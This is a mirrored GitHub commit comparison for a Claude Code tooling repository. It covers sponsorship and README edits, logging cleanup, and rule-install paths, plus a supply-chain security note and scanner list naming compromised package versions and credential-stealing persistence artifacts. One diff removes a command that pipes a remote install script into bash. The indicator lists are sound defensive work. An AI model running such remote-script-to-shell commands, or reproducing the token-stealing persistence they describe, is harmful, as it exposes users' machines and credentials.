mirror of
https://github.com/affaan-m/everything-claude-code.git
synced 2026-06-14 12:11:27 +08:00
Compare commits
13 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 03ab47748c | |||
| 27f9480ca4 | |||
| f04702bdac | |||
| 4774946db5 | |||
| c211791e95 | |||
| e8e9df52a6 | |||
| 5349d991c2 | |||
| 381e6cd16a | |||
| 8af4b5dafb | |||
| 9af04f3965 | |||
| 4546a2c144 | |||
| 8cfadfea28 | |||
| e2992860ae |
@@ -19,7 +19,7 @@
|
|||||||

|

|
||||||

|

|
||||||
|
|
||||||
> **140K+ stars** | **21K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
|
> **182K+ stars** | **28K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -42,6 +42,41 @@ Works across **Claude Code**, **Codex**, **Cursor**, **OpenCode**, **Gemini**, *
|
|||||||
|
|
||||||
ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md).
|
ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md).
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td width="25%" align="center">
|
||||||
|
<a href="https://ecc.tools/pricing">
|
||||||
|
<strong> ECC Pro</strong><br />
|
||||||
|
<sub>Private repos · GitHub App · $19/seat/mo</sub>
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
<td width="25%" align="center">
|
||||||
|
<a href="https://github.com/sponsors/affaan-m">
|
||||||
|
<strong> Sponsor</strong><br />
|
||||||
|
<sub>Fund the OSS · From $5/mo</sub>
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
<td width="25%" align="center">
|
||||||
|
<a href="https://github.com/affaan-m/everything-claude-code/discussions">
|
||||||
|
<strong>Community</strong>
|
||||||
|
<br />
|
||||||
|
<sub>Discussions · Q&A · Show & Tell</sub>
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
<td width="25%" align="center">
|
||||||
|
<a href="https://github.com/apps/ecc-tools">
|
||||||
|
<strong> GitHub App</strong><br />
|
||||||
|
<sub>Install · PR audits · Free tier</sub>
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<sub>**OSS stays free.** This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href="https://github.com/sponsors/affaan-m">Sponsors</a> and <a href="https://ecc.tools/pricing">Pro subscribers</a> fund the work — that's why a single maintainer ships weekly across 7 harnesses.</sub>
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## The Guides
|
## The Guides
|
||||||
|
|||||||
+55
-38
@@ -1,59 +1,76 @@
|
|||||||
# Sponsors
|
# Sponsors
|
||||||
|
|
||||||
Thank you to everyone who sponsors this project! Your support keeps the ECC ecosystem growing.
|
Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
|
||||||
|
|
||||||
## Enterprise Sponsors
|
## Enterprise Sponsors — $2,500/mo
|
||||||
|
|
||||||
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
|
||||||
|
|
||||||
## Business Sponsors
|
## Business Sponsors — $500/mo
|
||||||
|
|
||||||
*Become a [Business sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
| Sponsor | Logo | Since |
|
||||||
|
|---------|------|-------|
|
||||||
|
| [**CodeRabbit**](https://coderabbit.ai) | <img src="https://avatars.githubusercontent.com/u/132028505?s=120" width="60" alt="CodeRabbit" /> | 2026 |
|
||||||
|
|
||||||
## Team Sponsors
|
*[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
|
||||||
|
|
||||||
*Become a [Team sponsor](https://github.com/sponsors/affaan-m) to be featured here*
|
## Team Sponsors — $200/mo
|
||||||
|
|
||||||
## Individual Sponsors
|
| Sponsor | Since |
|
||||||
|
|---------|-------|
|
||||||
|
| [Mike Morgan](https://github.com/mikejmorgan-ai) | 2026 |
|
||||||
|
|
||||||
*Become a [sponsor](https://github.com/sponsors/affaan-m) to be listed here*
|
*[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
|
||||||
|
|
||||||
|
## Pro Sponsors — $50/mo
|
||||||
|
|
||||||
|
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
|
||||||
|
|
||||||
|
## Builder Sponsors — $25/mo
|
||||||
|
|
||||||
|
- @jasonwu513 (grandfathered at $10)
|
||||||
|
- @1anter (grandfathered at $10)
|
||||||
|
- @massimotodaro (grandfathered at $10)
|
||||||
|
- @meadmccabe (grandfathered at $10)
|
||||||
|
|
||||||
|
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
|
||||||
|
|
||||||
|
## Supporters — $5/mo
|
||||||
|
|
||||||
|
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sponsorship Tiers
|
||||||
|
|
||||||
|
| Tier | Monthly | Perks |
|
||||||
|
|------|--------:|-------|
|
||||||
|
| Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
|
||||||
|
| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
|
||||||
|
| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
|
||||||
|
| Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
|
||||||
|
| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
|
||||||
|
| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
|
||||||
|
|
||||||
|
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
|
||||||
|
|
||||||
|
For corporate sponsorship inquiries, custom partnerships, or PR integrations, email **affaan@ecc.tools** with your company name and intended tier. We'll move fast — most agreements close within 48 hours.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Why Sponsor?
|
## Why Sponsor?
|
||||||
|
|
||||||
Your sponsorship helps:
|
Your sponsorship directly funds:
|
||||||
|
|
||||||
- **Ship faster** — More time dedicated to building tools and features
|
- **OSS work that stays free** — the core repo, AgentShield, install scripts, and skills library remain MIT
|
||||||
- **Keep it free** — Premium features fund the free tier for everyone
|
- **Weekly releases** — full-time work on the harness, not a side project
|
||||||
- **Better support** — Sponsors get priority responses
|
- **Independent maintenance** — no acquisition pressure, no rug pulls, no enshittification
|
||||||
- **Shape the roadmap** — Pro+ sponsors vote on features
|
- **Sponsor-driven roadmap** — Pro+ sponsors vote on direction, Business+ get case studies and integration support
|
||||||
|
|
||||||
## Sponsor Readiness Signals
|
## Existing Sponsors Are Grandfathered
|
||||||
|
|
||||||
Use these proof points in sponsor conversations:
|
If you sponsored before May 2026, you keep your original perks at your original price. New tiers apply to new sponsors only.
|
||||||
|
|
||||||
- Live npm install/download metrics for `ecc-universal` and `ecc-agentshield`
|
|
||||||
- GitHub App distribution via Marketplace installs
|
|
||||||
- Public adoption signals: stars, forks, contributors, release cadence
|
|
||||||
- Cross-harness support: Claude Code, Cursor, OpenCode, Codex app/CLI
|
|
||||||
|
|
||||||
See [`docs/business/metrics-and-sponsorship.md`](docs/business/metrics-and-sponsorship.md) for a copy/paste metrics pull workflow.
|
|
||||||
|
|
||||||
## Sponsor Tiers
|
|
||||||
|
|
||||||
| Tier | Price | Benefits |
|
|
||||||
|------|-------|----------|
|
|
||||||
| Supporter | $5/mo | Name in README, early access |
|
|
||||||
| Builder | $10/mo | Premium tools access |
|
|
||||||
| Pro | $25/mo | Priority support, office hours |
|
|
||||||
| Team | $100/mo | 5 seats, team configs |
|
|
||||||
| Harness Partner | $200/mo | Monthly roadmap sync, prioritized maintainer feedback, release-note mention |
|
|
||||||
| Business | $500/mo | 25 seats, consulting credit |
|
|
||||||
| Enterprise | $2K/mo | Unlimited seats, custom tools |
|
|
||||||
|
|
||||||
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
*Updated automatically. Last sync: February 2026*
|
*Auto-updated by Hermes on every release. Last sync: 2026-05-14*
|
||||||
|
|||||||
@@ -23,8 +23,18 @@ credentials:
|
|||||||
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
|
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
|
||||||
- The live IOC set includes persistence through Claude Code
|
- The live IOC set includes persistence through Claude Code
|
||||||
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
|
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
|
||||||
`gh-token-monitor` LaunchAgent/systemd services. Remove those persistence
|
`gh-token-monitor` LaunchAgent/systemd services. Some variants add a
|
||||||
hooks before rotating a stolen GitHub token.
|
dead-man-switch token description
|
||||||
|
`IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow
|
||||||
|
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
|
||||||
|
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
|
||||||
|
persistence hooks before rotating a stolen GitHub token.
|
||||||
|
- The scanner also watches for late-reporting markers: `router_init.js`
|
||||||
|
SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
|
||||||
|
SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
|
||||||
|
`opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
|
||||||
|
Session protocol strings, `claude@users.noreply.github.com` dead-drop
|
||||||
|
commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
|
||||||
- The attack chain combined `pull_request_target`, GitHub Actions cache
|
- The attack chain combined `pull_request_target`, GitHub Actions cache
|
||||||
poisoning across a fork/base trust boundary, and OIDC token extraction from a
|
poisoning across a fork/base trust boundary, and OIDC token extraction from a
|
||||||
GitHub Actions runner.
|
GitHub Actions runner.
|
||||||
@@ -77,7 +87,11 @@ If ECC or a maintainer machine installed a known-bad package version:
|
|||||||
- `.vscode/tasks.json` folder-open tasks and adjacent payload files;
|
- `.vscode/tasks.json` folder-open tasks and adjacent payload files;
|
||||||
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
|
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
|
||||||
- `~/.config/systemd/user/gh-token-monitor.service`;
|
- `~/.config/systemd/user/gh-token-monitor.service`;
|
||||||
- `~/.local/bin/gh-token-monitor.sh`.
|
- `~/.config/systemd/user/pgsql-monitor.service`;
|
||||||
|
- `~/.local/bin/gh-token-monitor.sh`;
|
||||||
|
- `~/.local/bin/pgmonitor.py`;
|
||||||
|
- `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their
|
||||||
|
`/private/tmp/` equivalents on macOS.
|
||||||
5. Rotate every credential reachable by the process:
|
5. Rotate every credential reachable by the process:
|
||||||
- npm automation tokens and maintainer tokens;
|
- npm automation tokens and maintainer tokens;
|
||||||
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;
|
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;
|
||||||
|
|||||||
@@ -237,9 +237,7 @@ PROMPT 1(协调器) PROMPT 2(子代理)
|
|||||||
|
|
||||||
### 安装
|
### 安装
|
||||||
|
|
||||||
```bash
|
> **警告:** 请在审阅代码后,从 continuous-claude 的仓库安装。不要将外部脚本直接管道传入 bash。
|
||||||
curl -fsSL https://raw.githubusercontent.com/AnandChowdhary/continuous-claude/HEAD/install.sh | bash
|
|
||||||
```
|
|
||||||
|
|
||||||
### 用法
|
### 用法
|
||||||
|
|
||||||
|
|||||||
+25
-24
@@ -10,10 +10,13 @@ import os
|
|||||||
import json
|
import json
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Dict, List, Optional
|
from typing import Dict, List, Optional
|
||||||
|
import logging
|
||||||
import webbrowser
|
import webbrowser
|
||||||
|
|
||||||
from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window
|
from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
# ============================================================================
|
# ============================================================================
|
||||||
# DATA LOADERS - Load ECC data from the project
|
# DATA LOADERS - Load ECC data from the project
|
||||||
# ============================================================================
|
# ============================================================================
|
||||||
@@ -112,9 +115,9 @@ def load_skills(project_path: str) -> List[Dict]:
|
|||||||
if line.startswith('# '):
|
if line.startswith('# '):
|
||||||
description = line[2:].strip()[:100]
|
description = line[2:].strip()[:100]
|
||||||
break
|
break
|
||||||
except:
|
except Exception:
|
||||||
pass
|
logger.debug("Failed to parse skill file %s", skill_file, exc_info=True)
|
||||||
|
|
||||||
# Determine category
|
# Determine category
|
||||||
category = "General"
|
category = "General"
|
||||||
item_lower = item.lower()
|
item_lower = item.lower()
|
||||||
@@ -186,9 +189,9 @@ def load_commands(project_path: str) -> List[Dict]:
|
|||||||
if line.startswith('# '):
|
if line.startswith('# '):
|
||||||
description = line[2:].strip()
|
description = line[2:].strip()
|
||||||
break
|
break
|
||||||
except:
|
except Exception:
|
||||||
pass
|
logger.debug("Failed to parse command file %s", item, exc_info=True)
|
||||||
|
|
||||||
commands.append({
|
commands.append({
|
||||||
'name': cmd_name,
|
'name': cmd_name,
|
||||||
'description': description or cmd_name.replace('-', ' ').title()
|
'description': description or cmd_name.replace('-', ' ').title()
|
||||||
@@ -280,8 +283,8 @@ class ECCDashboard(tk.Tk):
|
|||||||
try:
|
try:
|
||||||
self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
||||||
self.iconphoto(True, self.icon_image)
|
self.iconphoto(True, self.icon_image)
|
||||||
except:
|
except Exception:
|
||||||
pass
|
logger.debug("Failed to load window icon", exc_info=True)
|
||||||
|
|
||||||
self.minsize(800, 600)
|
self.minsize(800, 600)
|
||||||
|
|
||||||
@@ -344,8 +347,8 @@ class ECCDashboard(tk.Tk):
|
|||||||
self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
||||||
self.logo_image = self.logo_image.subsample(2, 2)
|
self.logo_image = self.logo_image.subsample(2, 2)
|
||||||
ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10))
|
ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10))
|
||||||
except:
|
except Exception:
|
||||||
pass
|
logger.debug("Failed to load header logo", exc_info=True)
|
||||||
|
|
||||||
self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold'))
|
self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold'))
|
||||||
self.title_label.pack(side=tk.LEFT)
|
self.title_label.pack(side=tk.LEFT)
|
||||||
@@ -897,22 +900,20 @@ Project: github.com/affaan-m/everything-claude-code"""
|
|||||||
def update_widget_colors(widget):
|
def update_widget_colors(widget):
|
||||||
try:
|
try:
|
||||||
widget.configure(background=bg_color)
|
widget.configure(background=bg_color)
|
||||||
except:
|
except Exception:
|
||||||
pass
|
logger.debug("Cannot set background on %s", widget.__class__.__name__, exc_info=True)
|
||||||
for child in widget.winfo_children():
|
try:
|
||||||
try:
|
children = widget.winfo_children()
|
||||||
child.configure(background=bg_color)
|
except Exception:
|
||||||
except:
|
logger.debug("Cannot list child widgets on %s", widget.__class__.__name__, exc_info=True)
|
||||||
pass
|
return
|
||||||
|
for child in children:
|
||||||
try:
|
try:
|
||||||
update_widget_colors(child)
|
update_widget_colors(child)
|
||||||
except:
|
except Exception:
|
||||||
pass
|
logger.debug("Cannot update child widget colors on %s", child.__class__.__name__, exc_info=True)
|
||||||
|
|
||||||
try:
|
update_widget_colors(self)
|
||||||
update_widget_colors(self)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
self.update()
|
self.update()
|
||||||
|
|
||||||
|
|||||||
+25
-10
@@ -55,25 +55,40 @@ rules/
|
|||||||
> Flattening them into one directory causes language-specific files to overwrite
|
> Flattening them into one directory causes language-specific files to overwrite
|
||||||
> common rules, and breaks the relative `../common/` references used by
|
> common rules, and breaks the relative `../common/` references used by
|
||||||
> language-specific files.
|
> language-specific files.
|
||||||
|
>
|
||||||
|
> Use the ECC-owned namespace below for user-level Claude installs. Flat
|
||||||
|
> package-level destinations can collide with non-ECC rule packs and do not
|
||||||
|
> match the main README guidance.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
# Create the ECC rule namespace once.
|
||||||
|
mkdir -p ~/.claude/rules/ecc
|
||||||
|
|
||||||
# Install common rules (required for all projects)
|
# Install common rules (required for all projects)
|
||||||
cp -r rules/common ~/.claude/rules/common
|
cp -r rules/common ~/.claude/rules/ecc/
|
||||||
|
|
||||||
# Install language-specific rules based on your project's tech stack
|
# Install language-specific rules based on your project's tech stack
|
||||||
cp -r rules/typescript ~/.claude/rules/typescript
|
cp -r rules/typescript ~/.claude/rules/ecc/
|
||||||
cp -r rules/angular ~/.claude/rules/angular
|
cp -r rules/angular ~/.claude/rules/ecc/
|
||||||
cp -r rules/python ~/.claude/rules/python
|
cp -r rules/python ~/.claude/rules/ecc/
|
||||||
cp -r rules/golang ~/.claude/rules/golang
|
cp -r rules/golang ~/.claude/rules/ecc/
|
||||||
cp -r rules/web ~/.claude/rules/web
|
cp -r rules/web ~/.claude/rules/ecc/
|
||||||
cp -r rules/swift ~/.claude/rules/swift
|
cp -r rules/swift ~/.claude/rules/ecc/
|
||||||
cp -r rules/php ~/.claude/rules/php
|
cp -r rules/php ~/.claude/rules/ecc/
|
||||||
cp -r rules/ruby ~/.claude/rules/ruby
|
cp -r rules/ruby ~/.claude/rules/ecc/
|
||||||
cp -r rules/arkts ~/.claude/rules/arkts
|
cp -r rules/arkts ~/.claude/rules/ecc/
|
||||||
|
|
||||||
# Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only.
|
# Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only.
|
||||||
```
|
```
|
||||||
|
|
||||||
|
For project-local rules, use the same namespace under the project root:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir -p .claude/rules/ecc
|
||||||
|
cp -r rules/common .claude/rules/ecc/
|
||||||
|
cp -r rules/typescript .claude/rules/ecc/
|
||||||
|
```
|
||||||
|
|
||||||
## Rules vs Skills
|
## Rules vs Skills
|
||||||
|
|
||||||
- **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets").
|
- **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets").
|
||||||
|
|||||||
@@ -11,10 +11,78 @@ const path = require('path');
|
|||||||
const DEFAULT_ROOT = path.resolve(__dirname, '../..');
|
const DEFAULT_ROOT = path.resolve(__dirname, '../..');
|
||||||
|
|
||||||
const MALICIOUS_PACKAGE_VERSIONS = {
|
const MALICIOUS_PACKAGE_VERSIONS = {
|
||||||
'@mistralai/mistralai': ['2.2.3', '2.2.4'],
|
'@beproduct/nestjs-auth': [
|
||||||
'@mistralai/mistralai-azure': ['1.7.2', '1.7.3'],
|
'0.1.2',
|
||||||
'@mistralai/mistralai-gcp': ['1.7.2', '1.7.3'],
|
'0.1.3',
|
||||||
'@opensearch-project/opensearch': ['3.6.2', '3.8.0'],
|
'0.1.4',
|
||||||
|
'0.1.5',
|
||||||
|
'0.1.6',
|
||||||
|
'0.1.7',
|
||||||
|
'0.1.8',
|
||||||
|
'0.1.9',
|
||||||
|
'0.1.10',
|
||||||
|
'0.1.11',
|
||||||
|
'0.1.12',
|
||||||
|
'0.1.13',
|
||||||
|
'0.1.14',
|
||||||
|
'0.1.15',
|
||||||
|
'0.1.16',
|
||||||
|
'0.1.17',
|
||||||
|
'0.1.18',
|
||||||
|
'0.1.19',
|
||||||
|
],
|
||||||
|
'@cap-js/db-service': ['2.10.1'],
|
||||||
|
'@cap-js/postgres': ['2.2.2'],
|
||||||
|
'@cap-js/sqlite': ['2.2.2'],
|
||||||
|
'@dirigible-ai/sdk': ['0.6.2', '0.6.3'],
|
||||||
|
'@draftauth/client': ['0.2.1', '0.2.2'],
|
||||||
|
'@draftauth/core': ['0.13.1', '0.13.2'],
|
||||||
|
'@draftlab/auth': ['0.24.1', '0.24.2'],
|
||||||
|
'@draftlab/auth-router': ['0.5.1', '0.5.2'],
|
||||||
|
'@draftlab/db': ['0.16.1', '0.16.2'],
|
||||||
|
'@mesadev/rest': ['0.28.3'],
|
||||||
|
'@mesadev/saguaro': ['0.4.22'],
|
||||||
|
'@mesadev/sdk': ['0.28.3'],
|
||||||
|
'@ml-toolkit-ts/preprocessing': ['1.0.2', '1.0.3'],
|
||||||
|
'@ml-toolkit-ts/xgboost': ['1.0.3', '1.0.4'],
|
||||||
|
'@mistralai/mistralai': ['2.2.2', '2.2.3', '2.2.4'],
|
||||||
|
'@mistralai/mistralai-azure': ['1.7.1', '1.7.2', '1.7.3'],
|
||||||
|
'@mistralai/mistralai-gcp': ['1.7.1', '1.7.2', '1.7.3'],
|
||||||
|
'@opensearch-project/opensearch': ['3.5.3', '3.6.2', '3.7.0', '3.8.0'],
|
||||||
|
'@squawk/airport-data': ['0.7.4', '0.7.5', '0.7.6', '0.7.7', '0.7.8'],
|
||||||
|
'@squawk/airports': ['0.6.2', '0.6.3', '0.6.4', '0.6.5', '0.6.6'],
|
||||||
|
'@squawk/airspace': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
|
||||||
|
'@squawk/airspace-data': ['0.5.3', '0.5.4', '0.5.5', '0.5.6', '0.5.7'],
|
||||||
|
'@squawk/airway-data': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
|
||||||
|
'@squawk/airways': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
|
||||||
|
'@squawk/fix-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
|
||||||
|
'@squawk/fixes': ['0.3.2', '0.3.3', '0.3.4', '0.3.5', '0.3.6'],
|
||||||
|
'@squawk/flight-math': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
|
||||||
|
'@squawk/flightplan': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||||
|
'@squawk/geo': ['0.4.4', '0.4.5', '0.4.6', '0.4.7', '0.4.8'],
|
||||||
|
'@squawk/icao-registry': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||||
|
'@squawk/icao-registry-data': ['0.8.4', '0.8.5', '0.8.6', '0.8.7', '0.8.8'],
|
||||||
|
'@squawk/mcp': ['0.9.1', '0.9.2', '0.9.3', '0.9.4', '0.9.5'],
|
||||||
|
'@squawk/navaid-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
|
||||||
|
'@squawk/navaids': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
|
||||||
|
'@squawk/notams': ['0.3.6', '0.3.7', '0.3.8', '0.3.9', '0.3.10'],
|
||||||
|
'@squawk/procedure-data': ['0.7.3', '0.7.4', '0.7.5', '0.7.6', '0.7.7'],
|
||||||
|
'@squawk/procedures': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
|
||||||
|
'@squawk/types': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
|
||||||
|
'@squawk/units': ['0.4.3', '0.4.4', '0.4.5', '0.4.6', '0.4.7'],
|
||||||
|
'@squawk/weather': ['0.5.6', '0.5.7', '0.5.8', '0.5.9', '0.5.10'],
|
||||||
|
'@supersurkhet/cli': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
|
||||||
|
'@supersurkhet/sdk': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
|
||||||
|
'@tallyui/components': ['1.0.1', '1.0.2', '1.0.3'],
|
||||||
|
'@tallyui/connector-medusa': ['1.0.1', '1.0.2', '1.0.3'],
|
||||||
|
'@tallyui/connector-shopify': ['1.0.1', '1.0.2', '1.0.3'],
|
||||||
|
'@tallyui/connector-vendure': ['1.0.1', '1.0.2', '1.0.3'],
|
||||||
|
'@tallyui/connector-woocommerce': ['1.0.1', '1.0.2', '1.0.3'],
|
||||||
|
'@tallyui/core': ['0.2.1', '0.2.2', '0.2.3'],
|
||||||
|
'@tallyui/database': ['1.0.1', '1.0.2', '1.0.3'],
|
||||||
|
'@tallyui/pos': ['0.1.1', '0.1.2', '0.1.3'],
|
||||||
|
'@tallyui/storage-sqlite': ['0.2.1', '0.2.2', '0.2.3'],
|
||||||
|
'@tallyui/theme': ['0.2.1', '0.2.2', '0.2.3'],
|
||||||
'@tanstack/arktype-adapter': ['1.166.12', '1.166.15'],
|
'@tanstack/arktype-adapter': ['1.166.12', '1.166.15'],
|
||||||
'@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'],
|
'@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'],
|
||||||
'@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'],
|
'@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'],
|
||||||
@@ -57,35 +125,147 @@ const MALICIOUS_PACKAGE_VERSIONS = {
|
|||||||
'@tanstack/vue-start-client': ['1.166.46', '1.166.49'],
|
'@tanstack/vue-start-client': ['1.166.46', '1.166.49'],
|
||||||
'@tanstack/vue-start-server': ['1.166.50', '1.166.53'],
|
'@tanstack/vue-start-server': ['1.166.50', '1.166.53'],
|
||||||
'@tanstack/zod-adapter': ['1.166.12', '1.166.15'],
|
'@tanstack/zod-adapter': ['1.166.12', '1.166.15'],
|
||||||
|
'@taskflow-corp/cli': ['0.1.24', '0.1.25', '0.1.26', '0.1.27', '0.1.28', '0.1.29'],
|
||||||
|
'@tolka/cli': ['1.0.2', '1.0.3', '1.0.4', '1.0.5', '1.0.6'],
|
||||||
|
'@uipath/access-policy-sdk': ['0.3.1'],
|
||||||
|
'@uipath/access-policy-tool': ['0.3.1'],
|
||||||
'@uipath/agent.sdk': ['0.0.18'],
|
'@uipath/agent.sdk': ['0.0.18'],
|
||||||
'@uipath/agent-sdk': ['1.0.2'],
|
'@uipath/agent-sdk': ['1.0.2'],
|
||||||
|
'@uipath/agent-tool': ['1.0.1'],
|
||||||
|
'@uipath/admin-tool': ['0.1.1'],
|
||||||
|
'@uipath/aops-policy-tool': ['0.3.1'],
|
||||||
|
'@uipath/ap-chat': ['1.5.7'],
|
||||||
|
'@uipath/api-workflow-tool': ['1.0.1'],
|
||||||
'@uipath/apollo-core': ['5.9.2'],
|
'@uipath/apollo-core': ['5.9.2'],
|
||||||
|
'@uipath/apollo-react': ['4.24.5'],
|
||||||
|
'@uipath/apollo-wind': ['2.16.2'],
|
||||||
|
'@uipath/auth': ['1.0.1'],
|
||||||
|
'@uipath/case-tool': ['1.0.1'],
|
||||||
'@uipath/cli': ['1.0.1'],
|
'@uipath/cli': ['1.0.1'],
|
||||||
|
'@uipath/codedagent-tool': ['1.0.1'],
|
||||||
|
'@uipath/codedagents-tool': ['0.1.12'],
|
||||||
|
'@uipath/codedapp-tool': ['1.0.1'],
|
||||||
|
'@uipath/common': ['1.0.1'],
|
||||||
|
'@uipath/context-grounding-tool': ['0.1.1'],
|
||||||
|
'@uipath/data-fabric-tool': ['1.0.2'],
|
||||||
|
'@uipath/docsai-tool': ['1.0.1'],
|
||||||
|
'@uipath/filesystem': ['1.0.1'],
|
||||||
|
'@uipath/flow-tool': ['1.0.2'],
|
||||||
|
'@uipath/functions-tool': ['1.0.1'],
|
||||||
|
'@uipath/gov-tool': ['0.3.1'],
|
||||||
|
'@uipath/identity-tool': ['0.1.1'],
|
||||||
|
'@uipath/insights-sdk': ['1.0.1'],
|
||||||
|
'@uipath/insights-tool': ['1.0.1'],
|
||||||
|
'@uipath/integrationservice-sdk': ['1.0.2'],
|
||||||
|
'@uipath/integrationservice-tool': ['1.0.2'],
|
||||||
|
'@uipath/llmgw-tool': ['1.0.1'],
|
||||||
|
'@uipath/maestro-sdk': ['1.0.1'],
|
||||||
|
'@uipath/maestro-tool': ['1.0.1'],
|
||||||
|
'@uipath/orchestrator-tool': ['1.0.1'],
|
||||||
|
'@uipath/packager-tool-apiworkflow': ['0.0.19'],
|
||||||
|
'@uipath/packager-tool-bpmn': ['0.0.9'],
|
||||||
|
'@uipath/packager-tool-case': ['0.0.9'],
|
||||||
|
'@uipath/packager-tool-connector': ['0.0.19'],
|
||||||
|
'@uipath/packager-tool-flow': ['0.0.19'],
|
||||||
|
'@uipath/packager-tool-functions': ['0.1.1'],
|
||||||
|
'@uipath/packager-tool-webapp': ['1.0.6'],
|
||||||
|
